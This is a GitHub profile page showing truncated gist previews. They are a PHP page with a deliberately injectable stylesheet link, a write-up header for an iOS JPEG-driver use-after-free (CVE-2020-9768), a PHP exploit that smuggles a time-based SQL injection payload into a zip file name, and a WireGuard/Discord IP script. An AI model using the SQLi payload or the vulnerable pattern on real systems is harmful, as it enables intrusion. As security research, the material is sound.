Skip to content

Instantly share code, notes, and snippets.

View omarkurt's full-sized avatar
:octocat:
Working from home

Omar Kurt omarkurt

:octocat:
Working from home
View GitHub Profile
@numanturle
numanturle / code.php
Created January 27, 2020 22:31
css html via content svg url
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Title of the document</title>
<link href="<?php echo (isset($_GET['css'])?htmlspecialchars($_GET['css']):null); ?>" rel="stylesheet">
</head>
<body>
Content of the document......
</body>
#if 0
Reported : 19-Jan-2020
Fixed in iOS 13.4 with CVE-2020-9768
AppleJPEGDriverUserClient : mach port use-after-free/type-confusion via race condition
AppleJPEGDriverUserClient external methods can be used synchronously or asynchronously, when used asynchronously,
it brings the registered mach port (via registerNotificationPort()) and put it inside jpegRequest data structure,
and no reference count was taken for this operation. since registerNotificationPort() is not gated, it is
possible to release the port (if the port got substituted) during the processing of jpeg request and end up
with dangling pointer passed to _mach_msg_send_from_kernel_proper().
@mcipekci
mcipekci / exploit.php
Created March 21, 2023 13:35
Exploiting SQL injection via unzipped file contents
<?php
// Prepare File
$file = tempnam("/tmp", "zip");
$zip = new ZipArchive();
$zip->open($file, ZipArchive::OVERWRITE);
// Add file name with SQLi payload
$zip->addFromString("'+(CASE WHEN 1=".$_GET['value']." THEN 1 ELSE sleep(10) END)+'", "");
// Close and send to the server
$zip->close();
$cf = new CURLFile($file);
@umutbasal
umutbasal / wgcf_discord.sh
Last active April 12, 2025 10:57
Discord Wg CF script to create warp wireguard config with discord ips to split traffic
docker run --rm -it \
-v ./output:/output \
--entrypoint sh virb3/wgcf:latest -c "
apk add --no-cache curl && \
./wgcf register --accept-tos && \
./wgcf generate && \
mv wgcf-profile.conf /output/wg0.conf && \
curl https://raw.githubusercontent.com/GhostRooter0953/discord-voice-ips/refs/heads/master/main_domains/discord-main-ip-list -o discord-main-ips.txt && \
curl https://raw.githubusercontent.com/GhostRooter0953/discord-voice-ips/refs/heads/master/voice_domains/discord-voice-ip-list -o discord-voice-ips.txt && \
discord_ips=\$(cat discord-main-ips.txt | tr '\n' ',' | sed 's/,$//') && \